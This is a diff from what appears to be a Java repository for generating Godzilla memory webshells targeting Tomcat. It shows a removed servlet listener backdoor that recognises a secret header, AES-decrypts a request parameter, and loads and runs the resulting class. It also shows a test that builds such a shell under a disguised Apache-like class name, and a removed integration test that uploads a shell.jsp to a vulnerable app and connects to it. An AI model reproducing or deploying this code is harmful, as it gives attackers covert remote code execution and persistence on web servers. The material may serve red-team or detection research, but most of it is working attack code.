chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
}
|
||||
-144
@@ -1,144 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.godzilla;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import jakarta.servlet.ServletRequestEvent;
|
||||
import jakarta.servlet.ServletRequestListener;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
import jakarta.servlet.http.HttpSession;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaJakartaListener extends ClassLoader implements ServletRequestListener {
|
||||
public String md5;
|
||||
public String pass;
|
||||
public String key;
|
||||
public String headerName;
|
||||
public String headerValue;
|
||||
|
||||
public GodzillaJakartaListener() {
|
||||
}
|
||||
|
||||
public GodzillaJakartaListener(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception var4) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = this.getResponseFromRequest(request);
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute(
|
||||
"payload",
|
||||
(new GodzillaJakartaListener(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
response.flushBuffer();
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
HttpServletResponse response = null;
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
|
||||
} catch (Exception e) {
|
||||
response = (HttpServletResponse) getFieldValue(request, "response");
|
||||
}
|
||||
return response;
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
+21
-1
@@ -2,10 +2,15 @@ package com.reajason.javaweb.memsell.tomcat.godzilla;
|
||||
|
||||
import com.reajason.javaweb.memsell.GodzillaGenerator;
|
||||
import com.reajason.javaweb.util.ClassUtils;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.*;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -29,4 +34,19 @@ class GodzillaValveTest {
|
||||
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
|
||||
System.out.println(Base64.encodeBase64String(bytes));
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void generateJakarta() {
|
||||
String className = "org.apache.utils.CommonJakartaValve";
|
||||
byte[] bytes = GodzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue, true, Opcodes.V11, false);
|
||||
Files.write(Paths.get(className + ".class"), bytes);
|
||||
Object obj = ClassUtils.newInstance(bytes);
|
||||
assertEquals(className, obj.getClass().getName());
|
||||
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
|
||||
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
|
||||
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
|
||||
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
|
||||
System.out.println(Base64.encodeBase64String(bytes));
|
||||
}
|
||||
}
|
||||
-113
@@ -1,113 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.godzilla;
|
||||
|
||||
import com.reajason.javaweb.GeneratorMain;
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import com.reajason.javaweb.config.GodzillaShellConfig;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.godzilla.GodzillaManager;
|
||||
import com.reajason.javaweb.memsell.packer.JspPacker;
|
||||
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
|
||||
import lombok.SneakyThrows;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.DynamicTest;
|
||||
import org.junit.jupiter.api.TestFactory;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.utility.MountableFile;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.file.Path;
|
||||
import java.nio.file.Paths;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
public class TomcatGodzillaIntegrationTest {
|
||||
OkHttpClient client = new OkHttpClient();
|
||||
|
||||
@TestFactory
|
||||
Stream<DynamicTest> testContainerDeployments() {
|
||||
return Stream.of(
|
||||
createCustomContainerTest("tomcat:8-jre8"),
|
||||
createCustomContainerTest("tomcat:9-jre8")
|
||||
);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private DynamicTest createCustomContainerTest(String imageName) {
|
||||
Path warPath = Paths.get("../vul-webapp/build/libs/vul-webapp.war").toAbsolutePath();
|
||||
return DynamicTest.dynamicTest("Test " + imageName, () -> {
|
||||
try (GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(MountableFile.forHostPath(warPath), "/usr/local/tomcat/webapps/app.war")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080)) {
|
||||
container.start();
|
||||
String host = container.getHost();
|
||||
int port = container.getMappedPort(8080);
|
||||
String url = "http://" + host + ":" + port + "/app";
|
||||
GodzillaShellConfig shellConfig = GodzillaShellConfig.builder()
|
||||
.pass("pass123").key("key123")
|
||||
.headerName("User-Agent").headerValue("hello_integration_test")
|
||||
.build();
|
||||
String jspContent = generateGodzillaFilterJsp(shellConfig);
|
||||
String filename = "shell.jsp";
|
||||
uploadJspFileToServer(url + "/upload", filename, jspContent);
|
||||
verifyContainerResponse(url + "/" + filename);
|
||||
|
||||
testGodzillaIsOk(url + "/" + filename, shellConfig);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private String generateGodzillaFilterJsp(GodzillaShellConfig config) {
|
||||
Server server = Server.TOMCAT;
|
||||
ShellTool shellTool = ShellTool.Godzilla;
|
||||
String shellType = TomcatShell.FILTER;
|
||||
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config);
|
||||
JspPacker jspPacker = new JspPacker();
|
||||
return new String(jspPacker.pack(generateResult));
|
||||
}
|
||||
|
||||
private void verifyContainerResponse(String url) throws IOException {
|
||||
Request request = new Request.Builder()
|
||||
.url(url).build();
|
||||
try (Response response = client.newCall(request).execute()) {
|
||||
assertEquals(200, response.code());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@SneakyThrows
|
||||
private void uploadJspFileToServer(String uploadUrl, String filename, String fileContent) {
|
||||
RequestBody fileRequestBody = RequestBody.create(fileContent, MediaType.parse("text/plain"));
|
||||
MultipartBody requestBody = new MultipartBody.Builder()
|
||||
.setType(MultipartBody.FORM)
|
||||
.addFormDataPart("file", filename, fileRequestBody)
|
||||
.build();
|
||||
Request request = new Request.Builder()
|
||||
.url(uploadUrl).post(requestBody)
|
||||
.build();
|
||||
try (Response response = client.newCall(request).execute()) {
|
||||
assertEquals(200, response.code());
|
||||
}
|
||||
}
|
||||
|
||||
private void testGodzillaIsOk(String entrypoint, GodzillaShellConfig shellConfig) {
|
||||
try (GodzillaManager godzillaManager = GodzillaManager.builder()
|
||||
.entrypoint(entrypoint)
|
||||
.pass(shellConfig.getPass())
|
||||
.key(shellConfig.getKey())
|
||||
.header(shellConfig.getHeaderName(), shellConfig.getHeaderValue()).build()) {
|
||||
assertTrue(godzillaManager.start());
|
||||
assertTrue(godzillaManager.test());
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user